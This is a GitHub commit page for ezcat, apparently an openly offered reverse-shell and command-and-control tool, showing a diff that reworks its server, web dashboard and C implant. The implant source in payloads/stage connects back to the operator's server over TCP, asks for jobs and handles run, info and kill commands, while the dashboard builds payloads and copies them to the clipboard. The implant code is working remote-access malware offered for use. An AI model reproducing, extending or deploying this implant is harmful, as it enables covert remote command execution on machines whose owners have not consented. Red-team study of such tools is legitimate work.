Skip to content

Commit

Permalink
server rework and full tcp communication
Browse files Browse the repository at this point in the history
  • Loading branch information
ngn13 committed Nov 21, 2024
1 parent 891a158 commit e002db8
Show file tree
Hide file tree
Showing 32 changed files with 916 additions and 309 deletions.
3 changes: 2 additions & 1 deletion .github/workflows/publish.yml
Original file line number Diff line number Diff line change
Expand Up @@ -24,5 +24,6 @@ jobs:

- name: 'Build Inventory Image'
run: |
docker build . --tag ghcr.io/ngn13/ezcat:latest
docker build . --tag ghcr.io/ngn13/ezcat:latest --tag ghcr.io/ngn13/ezcat:${GITHUB_REF##*/}
docker push ghcr.io/ngn13/ezcat:${GITHUB_REF##*/}
docker push ghcr.io/ngn13/ezcat:latest
4 changes: 2 additions & 2 deletions Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -36,8 +36,8 @@ COPY payloads ./payloads
COPY docker/init.sh ./

RUN chmod +x "init.sh"
ENV STATIC_DIR "./static"
ENV PAYLOAD_DIR "./payloads"
ENV EZCAT_STATIC_DIR "./static"
ENV EZCAT_PAYLOAD_DIR "./payloads"

ARG API_URL
ENV API_URL $API_URL
Expand Down
28 changes: 14 additions & 14 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,29 +14,29 @@ https://github.com/ngn13/ezcat/assets/78868991/75c3c7c5-6768-47e4-9ef1-0a9e66710
### 🚀 Install
You can easily install ezcat with docker:
```
docker run --rm --network host \
-e PASSWORD=securepassword \
docker run --rm --network host \
-e EZCAT_PASSWORD=securepassword \
ghcr.io/ngn13/ezcat
```

### ⚙️ Configuration
Configuration is handled with environment variables, here are all the options:

- **`PASSWORD`**: Used to change the login password, by default it's `ezcat`, and for security, you should
- **`EZCAT_PASSWORD`**: Used to change the login password, by default it's `ezcat`, and for security, you should
definitely change it
- **`SHELLIP`**: By default ezcat will try to detect your interface IP address (giving priority to tunnel interfaces).
- **`EZCAT_SHELLIP`**: By default ezcat will try to detect your interface IP address (giving priority to tunnel interfaces).
If you want set this IP address to something else by default, you can use the `SHELLIP` environment variable
- **`DISABLE_MEGAMIND`**: When set to `1`, it disables the "no shells?" megamind meme that's displayed on the dashboard if you don't have
- **`EZCAT_DISABLE_MEGAMIND`**: When set to `1`, it disables the "no shells?" megamind meme that's displayed on the dashboard if you don't have
any active shells
- **`HTTP_PORT`**: Used to change the port that the API server will listen on, default is 5566
- **`AGENT_PORT`**: Used to change the agent communication port, default is 1053
- **`API_URL`**: Used to change the API URL for the front-end application
- **`DATA_DIR`**: Directory that the server will use to store stage builds, default is `./data`
- **`STATIC_DIR`**: Used to change the front-end application (static) directory, it's pre-set in the Dockerfile,
- **`EZCAT_HTTP_PORT`**: Used to change the port that the API server will listen on, default is 5566
- **`EZCAT_AGENT_PORT`**: Used to change the agent communication port, default is 1053
- **`EZCAT_API_URL`**: Used to change the API URL for the front-end application
- **`EZCAT_DIST_DIR`**: Directory that the server will use to store payload/stage builds, default is `./data`
- **`EZCAT_STATIC_DIR`**: Used to change the front-end application (static) directory, it's pre-set in the Dockerfile,
you don't need to worry about it unless you are working on something
- **`PAYLOAD_DIR`**: Specifies the directory that contains the payloads, it's pre-set in the Dockerfile, just like
the `STATIC_DIR` option, don't worry about it
- **`DEBUG`**: When set to `1`, it enables debug output for the server and the stage builds
- **`EZCAT_PAYLOAD_DIR`**: Specifies the directory that contains the payloads, it's pre-set in the Dockerfile, just like
the `EZCAT_STATIC_DIR` option, don't worry about it
- **`EZCAT_DEBUG`**: When set to `1`, it enables debug output for the server and the stage builds

### ⚒️ Build
To build ezcat, install a recent version go. Then download and [extract the latest release](http://github.com/ngn13/ezcat/releases/latest).
Expand All @@ -48,7 +48,7 @@ go build
- To build the front-end application, install a recent version of node and npm change directory into the `app/` directory and run:
```bash
npm i
npm run build
npm run build
```

To build different payloads during runtime, you will need GNU `coreutils` and `bash`, `build-essential` tools and optionally `mingw`
Expand Down
20 changes: 10 additions & 10 deletions app/src/lib/agent.svelte
Original file line number Diff line number Diff line change
Expand Up @@ -11,13 +11,13 @@
async function checkjob(id) {
const res = await getjob(fetch, id);
if (res["active"]) {
waiting = res["message"];
} else if (!res["active"] && res["success"]) {
success = res["message"];
if (res["waiting"]) {
waiting = "Waiting for response";
} else if (!res["waiting"] && res["success"]) {
success = `Got a successful response: ${res["message"]}`;
return await deljob(fetch, id);
} else if (!res["active"] && !res["success"]) {
error = res["message"];
} else if (!res["waiting"] && !res["success"]) {
error = `Got a failure response: ${res["message"]}`;
return await deljob(fetch, id);
}
Expand All @@ -27,14 +27,14 @@
}
async function run() {
await goto(`/run/${data.id}`);
await goto(`/run/${data.session}`);
}
async function kill() {
const res = await GET(fetch, `user/agent/kill?id=${data.id}`, true);
const res = await GET(fetch, `user/agent/kill?session=${data.session}`, true);
if (res["error"] != undefined) {
error = res["error"];
error = `Request failed: ${res["error"]}`;
return;
}
Expand All @@ -51,7 +51,7 @@
<h1>[{data.username}@{data.hostname}]</h1>
<div class="detail">
<h3>System</h3>
<p>{data.kernel}</p>
<p>{data.os}</p>
</div>
<div class="detail">
<h3>Address</h3>
Expand Down
7 changes: 5 additions & 2 deletions app/src/routes/generate/+page.svelte
Original file line number Diff line number Diff line change
Expand Up @@ -51,7 +51,7 @@
async function generate(e) {
e.preventDefault();
waiting = "Waiting for the build"
waiting = "Waiting for the build";
const res = await PUT(
fetch,
Expand All @@ -68,12 +68,15 @@
error = res["error"];
}
console.info(res["payload"]);
try {
navigator.clipboard.writeText(res["payload"]);
success = "Copied payload to the clipboard";
} catch (error) {
error = "Failed to copy payload to the clipboard";
alert(res["payload"]);
}
success = "Copied payload to the clipboard";
setTimeout(async () => {
await goto("/");
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,6 @@ export async function load({ fetch, params }) {

return {
address: address["address"],
id: params.id,
session: params.session,
};
}
Original file line number Diff line number Diff line change
Expand Up @@ -14,17 +14,18 @@
async function checkjob(id) {
const res = await getjob(fetch, id);
if (res["active"]) {
waiting = res["message"];
} else if (!res["active"] && res["success"]) {
success = res["message"];
await deljob(fetch, id);
if (res["waiting"]) {
waiting = "Waiting for response";
} else if (!res["waiting"] && res["success"]) {
success = `Got a successful response: ${res["message"]}`;
} else if (!res["waiting"] && !res["success"]) {
error = `Got a failure response: ${res["message"]}`;
}
if (!res["waiting"]) {
setTimeout(async () => {
await goto("/");
}, 2000);
} else if (!res["active"] && !res["success"]) {
error = res["message"];
return await deljob(fetch, id);
}
Expand All @@ -40,13 +41,13 @@
"user/agent/run",
{
address: host,
id: data.id,
session: data.session,
},
true
);
if (res["error"] != undefined) {
error = res["error"];
error = `Request failed: ${res["error"]}`;
return;
}
Expand Down
2 changes: 1 addition & 1 deletion payloads/stage/Makefile
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
CSRCS = $(wildcard src/*.c) $(wildcard src/*/*.c)
HEADERS = $(wildcard src/*.h)
CSRCS = $(wildcard src/*.c)
CFLAGS = -O3
CC = gcc

Expand Down
34 changes: 24 additions & 10 deletions payloads/stage/src/agent.c
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,7 @@
#include "util.h"

bool agent_connect(agent_t *agent) {
struct sockaddr addr;
struct timeval timeout = {
.tv_sec = 10,
.tv_usec = 0,
Expand All @@ -39,7 +40,15 @@ bool agent_connect(agent_t *agent) {
}
#endif

if((agent->socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
bzero(agent, sizeof(agent_t));
bzero(&addr, sizeof(addr));

if(!resolve(&addr, STAGE_SERVER_HOST, STAGE_SERVER_PORT)){
debug("failed to resolve %s:%d: %s", STAGE_SERVER_HOST, STAGE_SERVER_PORT);
goto fail;
}

if((agent->socket = socket(addr.sa_family, SOCK_STREAM, IPPROTO_TCP)) < 0) {
debug("failed to create a socket: %s", strerror(errno));
return false;
}
Expand All @@ -54,15 +63,6 @@ bool agent_connect(agent_t *agent) {
return false;
}

// connect to the C2 server
struct sockaddr addr;
bzero(&addr, sizeof(addr));

if(!resolve(&addr, STAGE_SERVER_HOST, STAGE_SERVER_PORT)){
debug("failed to resolve %s:%d: %s", STAGE_SERVER_HOST, STAGE_SERVER_PORT);
goto fail;
}

if (connect(agent->socket, &addr, sizeof(addr)) < 0) {
debug("failed to connect: %s", strerror(errno));
goto fail;
Expand All @@ -81,3 +81,17 @@ void agent_disconnect(agent_t *agent) {
close(agent->socket);
agent->socket = 0;
}

bool agent_send(agent_t *agent, packet_t *packet){
packet->header.session = agent->session;
packet->header.job_id = agent->job_id;
return packet_send(packet, agent->socket);
}

bool agent_recv(agent_t *agent, packet_t *packet) {
if(packet_recv(packet, agent->socket)){
agent->job_id = packet->header.job_id;
return true;
}
return false;
}
5 changes: 3 additions & 2 deletions payloads/stage/src/agent.h
Original file line number Diff line number Diff line change
Expand Up @@ -4,11 +4,12 @@

typedef struct {
uint32_t session;
uint16_t job_id;
int socket;
} agent_t;

#define agent_recv(a, p) packet_recv(p, a->socket)
#define agent_send(a, p) packet_send(p, a->socket)
bool agent_send(agent_t *agent, packet_t *packet);
bool agent_recv(agent_t *agent, packet_t *packet);

bool agent_connect(agent_t *agent);
void agent_disconnect(agent_t *agent);
65 changes: 38 additions & 27 deletions payloads/stage/src/cmd.c
Original file line number Diff line number Diff line change
Expand Up @@ -4,48 +4,59 @@
#include "util.h"

bool cmd_handle(agent_t *agent) {
bool ret = true;
packet_t packet;

packet_set_flags(&packet, PACKET_TYPE_REQ, CMD_ASK);
packet_set_data(&packet, NULL, 0);

if (!agent_send(agent, &packet)) {
debug("failed to send the ask command");
goto end;
}

packet_free(&packet);

if (!agent_recv(agent, &packet)) {
debug("failed to receive a packet");
return false;
goto end;
}

switch (packet_cmd(&packet)) {
case CMD_RUN:
case CMD_AUTH:
debug("server asked for registeration");
if (!cmd_register(agent)) {
debug("registration failed");
ret = false;
}
break;

case CMD_KILL:
return false;

default:
debug("unknown command: %d", packet_cmd(&packet));
case CMD_NONE:
debug("asked for a job, but there is nothing to do");
break;
}

return true;
}
case CMD_INFO:
debug("received an info command");
cmd_info_handler(agent, &packet);
break;

bool cmd_register(agent_t *agent) {
packet_t packet;
case CMD_RUN:
debug("received a run command");
cmd_run_handler(agent, &packet);
break;

packet_set_flags(&packet, PACKET_TYPE_REQ, CMD_REGISTER);
packet_set_data(&packet, STAGE_ID, 0);
case CMD_KILL:
debug("received a kill command");
cmd_success(agent, "success", 0);
ret = false;
break;

if (!agent_send(agent, &packet)) {
debug("failed to send the register command");
return false;
default:
debug("received an unknown command: %d", packet_cmd(&packet));
break;
}

end:
packet_free(&packet);

if (!agent_recv(agent, &packet)) {
debug("failed to receive the register command result");
return false;
}

agent->session = packet.header.session;
debug("registered with session %u", agent->session);

return true;
return ret;
}
28 changes: 21 additions & 7 deletions payloads/stage/src/cmd.h
Original file line number Diff line number Diff line change
@@ -1,14 +1,28 @@
#pragma once
#include "agent.h"
#include <stdbool.h>
#include <stdint.h>

#include "agent.h"

typedef enum {
CMD_SUCCESS = 0,
CMD_REGISTER = 1,
CMD_KILL = 2,
CMD_RUN = 3,
CMD_FAILURE = 0,
CMD_SUCCESS = 1,
CMD_REGISTER = 2,
CMD_KILL = 3,
CMD_RUN = 4,
CMD_ASK = 5,
CMD_INFO = 6,
CMD_NONE = 7,
CMD_AUTH = 8,
} cmd_t;

bool cmd_handle(agent_t *agent);
bool cmd_register(agent_t *agent);
bool cmd_send(agent_t *agent, cmd_t cmd);
bool cmd_handle(agent_t *agent);

// command helpers
bool cmd_success(agent_t *agent, char *data, uint8_t data_size);
bool cmd_failure(agent_t *agent, char *data, uint8_t data_size);

// command handlers
bool cmd_info_handler(agent_t *agent, packet_t *packet);
bool cmd_run_handler(agent_t *agent, packet_t *packet);
Loading

0 comments on commit e002db8

Please sign in to comment.